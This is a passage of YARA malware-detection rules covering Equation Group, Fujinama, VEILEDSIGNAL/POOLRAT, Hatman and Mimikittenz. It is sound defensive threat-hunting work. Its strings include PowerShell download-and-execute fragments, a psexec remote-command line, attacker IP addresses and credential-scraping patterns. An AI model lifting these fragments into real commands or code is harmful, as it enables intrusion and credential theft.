		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		modified = "2023-01-06"
		hash = "09399b9bd600d4516db37307a457bc55eedcbd17"
		id = "9eac2c51-3ad7-5346-a985-39733bc204c2"

	strings:
		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
		$s1 = "\\Registry\\User\\CurrentUser\\" wide
		$s2 = "atmdkdrv.sys" fullword wide
		$s4 = "\\Device\\%ws_%ws" wide
		$s5 = "\\DosDevices\\%ws" wide
		$s6 = "\\Device\\%ws" wide

	condition:
		all of them
}

rule EquationDrug_FileSystem_Filter
{
	meta:
		description = "EquationDrug - Filesystem filter driver - volrec.sys, scsi2mgr.sys"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "57fa4a1abbf39f4899ea76543ebd3688dcc11e13"
		id = "7077daf6-3d51-5ff2-bc74-95cb169a7cd2"

	strings:
		$s0 = "volrec.sys" fullword wide
		$s1 = "volrec.pdb" fullword ascii
		$s2 = "Volume recognizer driver" fullword wide

	condition:
		all of them
}

rule apt_equation_keyword
{
	meta:
		description = "Rule to detect Equation group's keyword in executable file"
		last_modified = "2015-09-26"
		reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
		id = "a7d4eda5-f390-5099-9c46-bf74a878b4f0"

	strings:
		$a1 = "Backsnarf_AB25" wide
		$a2 = "Backsnarf_AB25" ascii

	condition:
		uint16( 0 ) == 0x5a4d and 1 of ( $a* )
}

rule APT_MAL_Fujinama
{
	meta:
		description = "Fujinama RAT used by Leonardo SpA Insider Threat"
		author = "ReaQta Threat Intelligence Team"
		reference = "https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa"
		date = "2021-01-07"
		version = "1"
		id = "b10b1e45-aa6c-53fa-8e02-7a325c3e12fb"

	strings:
		$kaylog_1 = "SELECT" wide ascii nocase
		$kaylog_2 = "RIGHT" wide ascii nocase
		$kaylog_3 = "HELP" wide ascii nocase
		$kaylog_4 = "WINDOWS" wide ascii nocase
		$computername = "computername" wide ascii nocase
		$useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" wide ascii nocase
		$pattern = "'()*+,G-./0123456789:" wide ascii nocase
		$function_1 = "t_save" wide ascii nocase
		$cftmon = "cftmon" wide ascii nocase
		$font = "Tahoma" wide ascii nocase

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule MAL_Fake_Document_Software_Indicators_Nov23
{
	meta:
		description = "Detects indicators of fake document/image utility software that acts as a downloader for additional malware"
		author = "Jonathan Peters"
		date = "2023-11-13"
		reference = "https://nochlab.blogspot.com/2023/09/net-in-javascript-fake-pdf-converter.html"
		hash1 = "ac5356ae011effb9d401bf428c92a48cf82c9b61f4c24a29a9718e3379f90f1d"
		hash2 = "d1c29c2243c511ca3264ad568a6be62f374e104b903eca93debce6691e1c5007"
		score = 80

	strings:
		$ = "tweakscode.com" wide
		$ = "www.createmygif.com" wide
		$ = "www.videownload.com" wide
		$ = "www.pdfconverterz.com" wide
		$ = "www.pdfconvertercompare.com" wide

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule SUSP_LNK_lnkfileoverRFC
{
	meta:
		description = "Detects APT lnk files that run double extraction and launch routines with autoruns"
		author = "@Grotezinfosec, modified by Florian Roth"
		date = "2018-09-18"
		id = "19c393af-ff7c-5345-a3ef-c06372344baf"

	strings:
		$command = "C:\\Windows\\System32\\cmd.exe" fullword ascii
		$command2 = {2F 00 63 00 20 00 66 00 69 00 6E 00 64 00 73 00 74 00 72}
		$base64 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD" ascii
		$cert = " -decode " ascii

	condition:
		uint16( 0 ) == 0x004c and uint32( 4 ) == 0x00021401 and filesize > 15KB and ( 2 of them )
}

rule SUSP_LNK_SuspiciousCommands
{
	meta:
		description = "Detects LNK file with suspicious content"
		author = "Florian Roth (Nextron Systems)"
		date = "2018-09-18"
		score = 60
		id = "8bfb1322-8e33-50bc-a389-2d8bdfec9ca7"

	strings:
		$s1 = " -decode " ascii wide
		$s2 = " -enc " ascii wide
		$s3 = " -w hidden " ascii wide
		$s4 = " -ep bypass " ascii wide
		$s5 = " -noni " ascii nocase wide
		$s7 = " -noprofile " ascii wide
		$s8 = ".DownloadString(" ascii wide
		$s9 = ".DownloadFile(" ascii wide
		$s10 = "IEX(" ascii wide
		$s11 = "iex(" ascii wide
		$s12 = "WScript.shell" ascii wide fullword nocase
		$s13 = " -nop " ascii wide
		$s14 = "&tasklist>"
		$s15 = "setlocal EnableExtensions DisableDelayedExpansion"
		$s16 = "echo^ set^"
		$s17 = "del /f /q "
		$s18 = " echo | start "
		$s19 = "&& echo "
		$s20 = "&&set "
		$s21 = "%&&@echo off "

	condition:
		uint16( 0 ) == 0x004c and 1 of them
}

rule SUSP_DOC_LNK_in_ZIP
{
	meta:
		description = "Detects suspicious .doc.lnk file in ZIP archive"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/RedDrip7/status/1145877272945025029"
		date = "2019-07-02"
		score = 50
		hash1 = "7ea4f77cac557044e72a8e280372a2abe072f2ad98b5a4fbed4e2229e780173a"
		id = "9c140d02-3b18-5faf-bb1d-2eb5c07a23dc"

	strings:
		$s1 = ".doc.lnk" fullword ascii

	condition:
		uint16( 0 ) == 0x4b50 and 1 of them
}

rule Mal_Dropper_httpEXE_from_CAB
{
	meta:
		description = "Detects a dropper from a CAB file mentioned in the article"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/13Wgy1"
		date = "2016-05-25"
		score = 60
		hash1 = "9e7e5f70c4b32a4d5e8c798c26671843e76bb4bd5967056a822e982ed36e047b"
		id = "f67c13e9-67e7-56aa-8ced-55e9bb814971"

	strings:
		$s1 = "029.Hdl" fullword ascii
		$s2 = "http.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( all of ( $s* ) ) )
}

rule Mal_http_EXE
{
	meta:
		description = "Detects trojan from APT report named http.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/13Wgy1"
		date = "2016-05-25"
		modified = "2023-01-27"
		score = 80
		hash1 = "ad191d1d18841f0c5e48a5a1c9072709e2dd6359a6f6d427e0de59cfcd1d9666"
		id = "bcae9920-56ea-54a1-857b-70c275090e19"

	strings:
		$x1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"%s\"" fullword ascii
		$x2 = "%ALLUSERSPROFILE%\\Accessories\\wordpade.exe" fullword ascii
		$x3 = "\\dumps.dat" ascii
		$x4 = "\\wordpade.exe" ascii
		$x5 = "\\%s|%s|4|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
		$x6 = "\\%s|%s|5|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
		$x7 = "cKaNBh9fnmXgJcSBxx5nFS+8s7abcQ==" fullword ascii
		$x8 = "cKaNBhFLn1nXMcCR0RlbMQ==" fullword ascii
		$s1 = "SELECT * FROM moz_logins;" fullword ascii
		$s2 = "makescr.dat" fullword ascii
		$s3 = "%s\\Mozilla\\Firefox\\profiles.ini" fullword ascii
		$s4 = "?moz-proxy://" ascii
		$s5 = "[%s-%s] Title: %s" fullword ascii
		$s6 = "Cforeign key mismatch - \"%w\" referencing \"%w\"" fullword ascii
		$s7 = "Windows 95 SR2" fullword ascii
		$s8 = "\\|%s|0|0|" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) and 2 of ( $s* ) ) ) or ( 3 of ( $x* ) )
}

rule Mal_PotPlayer_DLL
{
	meta:
		description = "Detects a malicious PotPlayer.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/13Wgy1"
		date = "2016-05-25"
		score = 70
		hash1 = "705409bc11fb45fa3c4e2fa9dd35af7d4613e52a713d9c6ea6bc4baff49aa74a"
		id = "71d34266-63e0-5a97-9a80-952be917641a"

	strings:
		$x1 = "C:\\Users\\john\\Desktop\\PotPlayer\\Release\\PotPlayer.pdb" fullword ascii
		$s3 = "PotPlayer.dll" fullword ascii
		$s4 = "\\update.dat" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and $x1 or all of ( $s* )
}

rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23
{
	meta:
		description = "Detects malicious VEILEDSIGNAL backdoor"
		author = "X__Junior"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		score = 85
		hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
		id = "74c403ea-3178-58e8-88b3-a51c1d475868"

	strings:
		$op1 = {B8 AB AA AA AA F7 E1 8B C1 C1 EA 02 8D 14 52 03 D2 2B C2 8A 84 05 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ??}
		$op2 = { 50 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 3C 00 00 00 C7 85 ?? ?? ?? ?? 40 00 00 00 C7 85 ?? ?? ?? ?? 05 00 00 00 FF 15}
		$op3 = { 6A 00 8D 85 ?? ?? ?? ?? 50 6A 04 8D 85 ?? ?? ?? ?? 50 57 FF 15 }

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SUSP_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23
{
	meta:
		description = "Detects marker found in VEILEDSIGNAL backdoor"
		author = "X__Junior"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		modified = "2023-04-21"
		score = 75
		hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
		id = "8f0d92b6-d9b0-55e3-b2ca-601d095f5279"

	strings:
		$opb1 = { 81 BD ?? ?? ?? ?? 5E DA F3 76}
		$opb2 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA 66 C7 85 ?? ?? ?? ?? E5 CF}
		$opb3 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA B9 00 04 00 00 66 C7 85 ?? ?? ?? ?? E5 CF }

	condition:
		2 of them
}

rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_1
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		score = 75
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "404b09def6054a281b41d309d809a428"
		hash2 = "c6441c961dcad0fe127514a918eaabd4"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		id = "3e7c92fe-a7bd-5180-9935-4f98f2b64e2b"

	strings:
		$rh1 = { 68 5D 7A D2 2C 3C 14 81 2C 3C 14 81 2C 3C 14 81 77 54 10 80 26 3C 14 81 77 54 17 80 29 3C 14 81 77 54 11 80 AB 3C 14 81 D4 4C 11 80 33 3C 14 81 D4 4C 10 80 22 3C 14 81 D4 4C 17 80 25 3C 14 81 77 54 15 80 27 3C 14 81 2C 3C 15 81 4B 3C 14 81 94 4D 1D 80 28 3C 14 81 94 4D 14 80 2D 3C 14 81 94 4D 16 80 2D 3C 14 81 }
		$rh2 = { 00 E5 A0 2B 44 84 CE 78 44 84 CE 78 44 84 CE 78 1F EC CA 79 49 84 CE 78 1F EC CD 79 41 84 CE 78 1F EC CB 79 C8 84 CE 78 BC F4 CA 79 4A 84 CE 78 BC F4 CD 79 4D 84 CE 78 BC F4 CB 79 65 84 CE 78 1F EC CF 79 43 84 CE 78 44 84 CF 78 22 84 CE 78 FC F5 C7 79 42 84 CE 78 FC F5 CE 79 45 84 CE 78 FC F5 CC 79 45 84 CE 78}
		$rh3 = { DA D2 21 22 9E B3 4F 71 9E B3 4F 71 9E B3 4F 71 C5 DB 4C 70 94 B3 4F 71 C5 DB 4A 70 15 B3 4F 71 C5 DB 4B 70 8C B3 4F 71 66 C3 4B 70 8C B3 4F 71 66 C3 4C 70 8F B3 4F 71 C5 DB 49 70 9F B3 4F 71 66 C3 4A 70 B0 B3 4F 71 C5 DB 4E 70 97 B3 4F 71 9E B3 4E 71 F9 B3 4F 71 26 C2 46 70 9F B3 4F 71 26 C2 B0 71 9F B3 4F 71 9E B3 D8 71 9F B3 4F 71 26 C2 4D 70 9F B3 4F 71 }
		$rh4 = { CB 8A 35 66 8F EB 5B 35 8F EB 5B 35 8F EB 5B 35 D4 83 5F 34 85 EB 5B 35 D4 83 58 34 8A EB 5B 35 D4 83 5E 34 09 EB 5B 35 77 9B 5E 34 92 EB 5B 35 77 9B 5F 34 81 EB 5B 35 77 9B 58 34 86 EB 5B 35 D4 83 5A 34 8C EB 5B 35 8F EB 5A 35 D3 EB 5B 35 37 9A 52 34 8C EB 5B 35 37 9A 58 34 8E EB 5B 35 37 9A 5B 34 8E EB 5B 35 37 9A 59 34 8E EB 5B 35 }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 1 of ( $rh* )
}

rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_2
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		score = 75
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "404b09def6054a281b41d309d809a428"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		id = "1b96c2f0-1c57-593e-9630-a72d43eb857e"

	strings:
		$sb1 = { C1 E0 05 4D 8? [2] 33 D0 45 69 C0 7D 50 BF 12 8B C2 41 FF C2 C1 E8 07 33 D0 8B C2 C1 E0 16 41 81 C0 87 D6 12 00 }
		$si1 = "CryptBinaryToStringA" fullword
		$si2 = "BCryptGenerateSymmetricKey" fullword
		$si3 = "CreateThread" fullword
		$ss1 = "ChainingModeGCM" wide
		$ss2 = "__tutma" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_3
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		score = 75
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		md5 = "c6441c961dcad0fe127514a918eaabd4"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		id = "82790c65-1d93-509b-95df-841543943c30"

	strings:
		$ss1 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6A 73 6F 6E 2C 20 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 2C 20 2A 2F 2A 3B 20 71 3D 30 2E 30 31 00 00 61 63 63 65 70 74 00 00 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 39 00 00 61 63 63 65 70 74 2D 6C 61 6E 67 75 61 67 65 00 63 6F 6F 6B 69 65 00 00 }
		$si1 = "HttpSendRequestW" fullword
		$si2 = "CreateNamedPipeW" fullword
		$si3 = "CreateThread" fullword
		$se1 = "DllGetClassObject" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_4
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		score = 75
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "404b09def6054a281b41d309d809a428"
		hash2 = "c6441c961dcad0fe127514a918eaabd4"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		id = "379e6471-3c4f-5c72-b8fd-17f481e89ac6"

	strings:
		$sb1 = { FF 15 FC 76 01 00 8B F0 85 C0 74 ?? 8D 50 01 [6-16] FF 15 [4] 48 8B D8 48 85 C0 74 ?? 89 ?? 24 28 44 8B CD 4C 8B C? 48 89 44 24 20 }
		$sb2 = { 33 D2 33 C9 FF 15 [4] 4C 8B CB 4C 89 74 24 28 4C 8D 05 [2] FF FF 44 89 74 24 20 33 D2 33 C9 FF 15 }
		$si1 = "CreateThread" fullword
		$si2 = "MultiByteToWideChar" fullword
		$si3 = "LocalAlloc" fullword
		$se1 = "DllGetClassObject" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_5
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		score = 75
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "6727284586ecf528240be21bb6e97f88"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		id = "7d0718fc-4f1c-5293-8dc4-81a5783fbfb2"

	strings:
		$sb1 = { 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D [3] 48 8B CB FF 15 [4] EB }
		$ss1 = "chrome.exe" wide fullword
		$ss2 = "firefox.exe" wide fullword
		$ss3 = "msedge.exe" wide fullword
		$ss4 = "\\\\.\\pipe\\*" ascii fullword
		$ss5 = "FindFirstFileA" ascii fullword
		$ss6 = "Process32FirstW" ascii fullword
		$ss7 = "RtlAdjustPrivilege" ascii fullword
		$ss8 = "GetCurrentProcess" ascii fullword
		$ss9 = "NtWaitForSingleObject" ascii fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_6
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		score = 75
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "00a43d64f9b5187a1e1f922b99b09b77"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		id = "2cbedbc0-d465-5674-bf9c-9362003eb8d2"

	strings:
		$ss1 = "C:\\Programdata\\" wide
		$ss2 = "devobj.dll" wide fullword
		$ss3 = "msvcr100.dll" wide fullword
		$ss4 = "TpmVscMgrSvr.exe" wide fullword
		$ss5 = "\\Microsoft\\Windows\\TPM" wide fullword
		$ss6 = "CreateFileW" ascii fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule SUSP_NK_MAL_M_Hunting_POOLRAT
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		old_rule_name = "APT_NK_MAL_M_Hunting_POOLRAT"
		score = 70
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		description = "Detects strings found in POOLRAT malware"
		hash1 = "451c23709ecd5a8461ad060f6346930c"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		id = "70f5f3a0-0fd0-54dc-97cc-4f3c35f02fcd"

	strings:
		$s1 = "name=\"uid\"%s%s%u%s" ascii wide
		$s2 = "name=\"session\"%s%s%u%s" ascii wide
		$s3 = "name=\"action\"%s%s%s%s" ascii wide
		$s4 = "name=\"token\"%s%s%u%s" ascii wide
		$str1 = "--N9dLfqxHNUUw8qaUPqggVTpX-" wide ascii nocase

	condition:
		any of ( $s* ) or $str1
}

rule APT_NK_TradingTech_ForensicArtifacts_Apr23_1
{
	meta:
		description = "Detects forensic artifacts, file names and keywords related the Trading Technologies compromise UNC4736"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		modified = "2023-04-21"
		score = 60
		id = "f79a5321-4f22-52d9-aa83-4aa750ecc036"

	strings:
		$x1 = "www.tradingtechnologies.com/trading/order-management" ascii wide
		$xf1 = "X_TRADER_r7.17.90p608.exe" ascii wide
		$xf2 = "\\X_TRADER-ja.mst" ascii wide
		$xf3 = "C:\\Programdata\\TPM\\TpmVscMgrSvr.exe" ascii wide
		$xf4 = "C:\\Programdata\\TPM\\winscard.dll" ascii wide
		$fp1 = "<html"

	condition:
		not uint16( 0 ) == 0x5025 and 1 of ( $x* ) and not 1 of ( $fp* )
}

import "pe"

rule SUSP_TH_APT_UNC4736_TradingTech_Cert_Apr23_1
{
	meta:
		description = "Threat hunting rule that detects samples signed with the compromised Trading Technologies certificate after May 2022"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		date = "2023-04-20"
		score = 65
		id = "9a05fba9-9466-5b69-9207-27ad01d6eb8b"

	strings:
		$s1 = { 00 85 38 A6 C5 01 8F 50 FC }
		$s2 = "Go Daddy Secure Certificate Authority - G2"
		$s3 = "Trading Technologies International, Inc"

	condition:
		pe.timestamp> 1651363200 and all of them
}

private rule hatman_setstatus : hatman
{
	strings:
		$preset = { 80 00 40 3c  00 00 62 80  40 00 80 3c  40 20 03 7c
                        ?? ?? 82 40  04 00 62 80  60 00 80 3c  40 20 03 7c
                        ?? ?? 82 40  ?? ?? 42 38                           }

	condition:
		$preset
}

private rule hatman_memcpy : hatman
{
	strings:
		$memcpy_be = { 7c a9 03 a6  38 84 ff ff  38 63 ff ff  8c a4 00 01
                        9c a3 00 01  42 00 ff f8  4e 80 00 20              }
		$memcpy_le = { a6 03 a9 7c  ff ff 84 38  ff ff 63 38  01 00 a4 8c
                        01 00 a3 9c  f8 ff 00 42  20 00 80 4e              }

	condition:
		$memcpy_be or $memcpy_le
}

private rule hatman_dividers : hatman
{
	strings:
		$div1 = { 9a 78 56 00 }
		$div2 = { 34 12 00 00 }

	condition:
		$div1 and $div2
}

private rule hatman_nullsub : hatman
{
	strings:
		$nullsub = { ff ff 60 38  02 00 00 44  20 00 80 4e }

	condition:
		$nullsub
}

private rule hatman_origaddr : hatman
{
	strings:
		$oaddr_be = { 3c 60 00 03  60 63 96 f4  4e 80 00 20 }
		$oaddr_le = { 03 00 60 3c  f4 96 63 60  20 00 80 4e }

	condition:
		$oaddr_be or $oaddr_le
}

private rule hatman_origcode : hatman
{
	strings:
		$ocode_be = { 3c 00 00 03  60 00 a0 b0  7c 09 03 a6  4e 80 04 20 }
		$ocode_le = { 03 00 00 3c  b0 a0 00 60  a6 03 09 7c  20 04 80 4e }

	condition:
		$ocode_be or $ocode_le
}

private rule hatman_mftmsr : hatman
{
	strings:
		$mfmsr_be = { 7c 63 00 a6 }
		$mfmsr_le = { a6 00 63 7c }
		$mtmsr_be = { 7c 63 01 24 }
		$mtmsr_le = { 24 01 63 7c }

	condition:
		($mfmsr_be and $mtmsr_be ) or ( $mfmsr_le and $mtmsr_le )
}

private rule hatman_loadoff : hatman
{
	strings:
		$loadoff_be = { 80 60 00 04  48 00 ?? ??  70 60 ff ff  28 00 00 00
                        40 82 ?? ??  28 03 00 00  41 82 ?? ??              }
		$loadoff_le = { 04 00 60 80  ?? ?? 00 48  ff ff 60 70  00 00 00 28
                        ?? ?? 82 40  00 00 03 28  ?? ?? 82 41              }

	condition:
		$loadoff_be or $loadoff_le
}

rule Invoke_mimikittenz
{
	meta:
		description = "Detects Mimikittenz - file Invoke-mimikittenz.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/putterpanda/mimikittenz"
		date = "2016-07-19"
		score = 90
		hash1 = "14e2f70470396a18c27debb419a4f4063c2ad5b6976f429d47f55e31066a5e6a"
		id = "6dcf3d0a-302b-520c-97c6-fd843c8a25b9"

	strings:
		$x1 = "[mimikittenz.MemProcInspector]" ascii
		$s1 = "PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION |" fullword ascii
		$s2 = "IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);" fullword ascii
		$s3 = "&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=" ascii
		$s4 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 60KB and 2 of them ) or $x1
}

rule TA17_293A_malware_1
{
	meta:
		description = "inveigh pen testing tools & related artifacts"
		author = "US-CERT Code Analysis Team (modified by Florian Roth)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		date = "2017/07/17"
		hash0 = "61C909D2F625223DB2FB858BBDF42A76"
		hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
		hash2 = "BA756DD64C1147515BA2298B6A760260"
		hash3 = "8943E71A8C73B5E343AA9D2E19002373"
		hash4 = "04738CA02F59A5CD394998A99FCD9613"
		hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
		hash6 = "65A1A73253F04354886F375B59550B46"
		hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
		hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
		hash9 = "722154A36F32BA10E98020A8AD758A7A"
		hash10 = "4595DBE00A538DF127E0079294C87DA0"
		id = "297611c9-f4b1-5618-bd43-5a7444365727"

	strings:
		$n1 = "file://"
		$ax1 = "184.154.150.66"
		$ax2 = "5.153.58.45"
		$ax3 = "62.8.193.206"
		$ax4 = "/pshare1/icon"
		$ax5 = "/ame_icon.png"
		$ax6 = "/1/ree_stat/p"
		$s1 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
		$s2 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
		$s3 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
		$s4 = "NlZzSZk="
		$s5 = "WlJTb1q5kaxqZaRnser3sw=="
		$x1 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
		$x2 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
		$x3 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
		$x4 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
		$x5 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
		$x6 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
		$x7 = { 476F206275696C642049443A202266626433373937623163313465306531 }
		$x8 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
		$x9 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
		$x10 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
		$x11 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
		$x12 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
		$x13 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
		$x14 = "http://bit.ly/2m0x8IH"

	condition:
		($n1 and 1 of ( $ax* ) ) or 2 of ( $s* ) or 1 of ( $x* )
}

rule TA17_293A_energetic_bear_api_hashing_tool
{
	meta:
		description = "Energetic Bear API Hashing Tool"
		assoc_report = "DHS Report TA17-293A"
		author = "CERT RE Team"
		version = "2"
		id = "4e58800a-9618-5d8b-954c-e843be6002c2"

	strings:
		$api_hash_func_v1 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
		$api_hash_func_v2 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 44 24 14 EB EC }
		$api_hash_func_x64 = { 8A 08 84 C9 74 ?? 80 C9 60 48 01 CB 48 C1 E3 01 48 03 45 20 EB EA }
		$http_push = "X-mode: push" nocase
		$http_pop = "X-mode: pop" nocase

	condition:
		$api_hash_func_v1 or $api_hash_func_v2 or $api_hash_func_x64 and ( uint16( 0 ) == 0x5a4d or $http_push or $http_pop )
}

rule TA17_293A_Query_XML_Code_MAL_DOC_PT_2
{
	meta:
		name = "Query_XML_Code_MAL_DOC_PT_2"
		author = "other (modified by Florian Roth)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"

	strings:
		$dir1 = "word/_rels/settings.xml.rels"
		$bytes = {8c 90 cd 4e eb 30 10 85 d7}

	condition:
